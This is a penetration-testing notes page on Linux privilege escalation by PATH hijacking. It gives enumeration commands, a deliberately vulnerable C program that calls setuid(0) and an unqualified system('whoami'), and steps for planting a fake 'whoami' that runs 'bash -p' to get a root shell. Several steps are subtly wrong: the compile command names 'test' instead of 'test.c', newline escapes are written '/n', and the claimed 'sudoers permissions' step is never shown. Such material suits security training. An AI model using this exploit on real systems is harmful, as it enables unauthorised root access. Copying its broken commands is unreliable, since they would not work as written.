> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md).

# PATH Hijacking (test.c) - Linux Privilege Escalation

PATH Hijacking (test.c) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.

## What It Is

PATH hijacking abuses privileged programs or scripts that call commands without absolute paths. If the attacker controls a directory earlier in `PATH`, the privileged process can execute the attacker's binary. This specific page focuses on **PATH Hijacking (test.c)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.

## Enumeration

Start by confirming the local context and the exact misconfiguration before running the exploit path.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## Examples

Create a file in the **/tmp/test.c** directory with the following content:

```c
#include <stdio.h>

int main(){
	setuid(0);
	printf("/n[+] Currently we are the next user: /n/n");
	system("/usr/bin/whoami");
	printf("/n[+] Currently we are the next user: /n/n");
	system("whoami");
	return 0;
}
```

Compile the script with **`gcc`** and create the test file with **`-o`** by giving it sudoers permissions:

```bash
gcc test -o test
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87976a76aa3d118d34e2e97207aab21e7aed19e2%2FPasted%20image%2020231122231237.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

If you run the script and filter by "whoami", you will notice that it executes it first with the absolute path, then in **relative**. This is a serious issue if we **modify the $PATH**:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bc1662100c102487ba16b9d0ffc40794b4d87ed%2FPasted%20image%2020231122231714.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Change **$PATH** and priority is given to /tmp path:

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-223b463e4fceddbfc43ab57ff419880d21f52b1b%2FPasted%20image%2020231122231954.png?alt=media" alt="" width="563"><figcaption></figcaption></figure></div>

Next, **create the following file in the tmp** directory:

```bash
touch whoami
chmod +x whoami
```

**Insert** the following content in the file:

```bash
bash -p
```

Run the **script test** again and with the $PATH, get access to Bash as a **root user**:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-873922b6e3d1a5dd42c1e50f4056c750c611a032%2FPasted%20image%2020231122232625.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


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